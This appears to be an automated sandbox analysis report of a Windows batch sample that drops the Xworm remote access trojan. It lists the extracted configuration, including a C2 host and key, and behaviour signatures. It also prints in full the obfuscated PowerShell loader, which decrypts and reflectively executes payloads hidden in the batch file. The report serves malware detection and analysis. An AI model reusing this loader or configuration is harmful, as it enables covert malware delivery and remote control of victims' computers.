Analysis
- max time kernel
128s - max time network
147s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
- submitted
03/06/2024, 11:15
General
- Target xff.cmd
- Size 55KB
- Sample240603-ncsfjace2w
- SHA256 726b4c7268e3ac98dafe554aa3cf05e6ed6a185890ff717702b2e5c606cc64c1
Malware Config
Extracted
-
xworm
-
3.1
-
nmds.duckdns.org:8895
-
O3B5rRVaa3oX74CD
-
install_file
USB.exe
Signatures
- Detect Xworm Payload 1 IoCs
- Xworm
Xworm is a remote access trojan written in C#.
- Blocklisted process makes network request 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 1 IoCs
- Suspicious use of WriteProcessMemory 2 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\xff.cmd"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Yfl+9e1ujQfBCdBEV6Z2UkstrL+He9SOiaTy/tj4l0c='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('7w7wzie8OzwYCnqdovjf0A=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $mCQBR=New-Object System.IO.MemoryStream(,$param_var); $vHGEF=New-Object System.IO.MemoryStream; $UfEkZ=New-Object System.IO.Compression.GZipStream($mCQBR, [IO.Compression.CompressionMode]::Decompress); $UfEkZ.CopyTo($vHGEF); $UfEkZ.Dispose(); $mCQBR.Dispose(); $vHGEF.Dispose(); $vHGEF.ToArray();}function execute_function($param_var,$param2_var){ $cUdZW=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $FjmYk=$cUdZW.EntryPoint; $FjmYk.Invoke($null, $param2_var);}$eNFll = 'C:\Users\Admin\AppData\Local\Temp\xff.cmd';$host.UI.RawUI.WindowTitle = $eNFll;$xVjlb=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($eNFll).Split([Environment]::NewLine);foreach ($VLbEL in $xVjlb) { if ($VLbEL.StartsWith(':: ')) { $hpycz=$VLbEL.Substring(3); break; }}$payloads_var=[string[]]$hpycz.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_t02m1wzv.wef.ps1
memory/5108-0-0x00007FF999A73000-0x00007FF999A75000-memory.dmp
memory/5108-1-0x000002893D340000-0x000002893D362000-memory.dmp
memory/5108-11-0x00007FF999A70000-0x00007FF99A531000-memory.dmp
memory/5108-12-0x00007FF999A70000-0x00007FF99A531000-memory.dmp
memory/5108-13-0x0000028955540000-0x0000028955548000-memory.dmp
memory/5108-14-0x00000289559F0000-0x00000289559FC000-memory.dmp
memory/5108-15-0x0000028955A00000-0x0000028955A0E000-memory.dmp
memory/5108-16-0x00007FF999A70000-0x00007FF99A531000-memory.dmp
memory/5108-17-0x00007FF999A70000-0x00007FF99A531000-memory.dmp
memory/5108-18-0x00007FF999A73000-0x00007FF999A75000-memory.dmp
memory/5108-19-0x00007FF999A70000-0x00007FF99A531000-memory.dmp